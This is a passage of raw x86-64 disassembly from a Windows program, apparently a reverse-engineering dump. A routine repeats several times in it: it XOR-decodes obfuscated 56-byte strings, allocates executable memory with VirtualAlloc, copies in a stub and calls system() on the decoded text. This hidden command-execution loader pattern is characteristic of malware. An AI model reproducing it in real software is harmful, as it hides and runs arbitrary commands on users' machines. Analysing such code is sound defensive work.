shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140046411
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140046456
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x1400464c9
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x1400464b8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x1400464a0
jmp 0x1400464c9
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x1400465af
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400464f2
mov r8, r12
jmp 0x14004658e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140046500
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140046615
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046610
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046610
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14004665f
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004665a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004665a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x1401571a8]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x1401571b8]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x1401571c8]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x1401571d8]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x1400467ad
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400466c0
jmp 0x1400467da
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400467b1
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1400467f6
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x140046869
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x140046858
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x140046840
jmp 0x140046869
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x14004694f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140046892
mov r8, r12
jmp 0x14004692e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400468a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400469b5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400469b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400469b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400469ff
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400469fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400469fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x140157300]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x140157310]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x140157320]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140157330]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x140046b4d
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140046a60
jmp 0x140046b7a
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140046b51
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140046b96
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x140046c09
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x140046bf8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x140046be0
jmp 0x140046c09
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x140046cef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140046c32
mov r8, r12
jmp 0x140046cce
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140046c40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140046d55
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046d50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046d50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140046d9f
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046d9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046d9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x140156eb0]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x140156ec0]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x140156ed0]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140156ee0]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x140046eed
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140046e00
jmp 0x140046f1a
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140046ef1
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140046f36
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x140046fa9
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x140046f98
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x140046f80
jmp 0x140046fa9
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x14004708f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140046fd2
mov r8, r12
jmp 0x14004706e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140046fe0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400470f5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400470f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400470f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14004713f
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004713a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004713a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x1401570c8]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x1401570d8]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x1401570e8]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x1401570f8]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x14004728d
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400471a0
jmp 0x1400472ba
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140047291
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1400472d6
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x140047349
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x140047338
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x140047320
jmp 0x140047349
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x14004742f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140047372
mov r8, r12
jmp 0x14004740e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140047380
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140047495
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047490
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047490
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
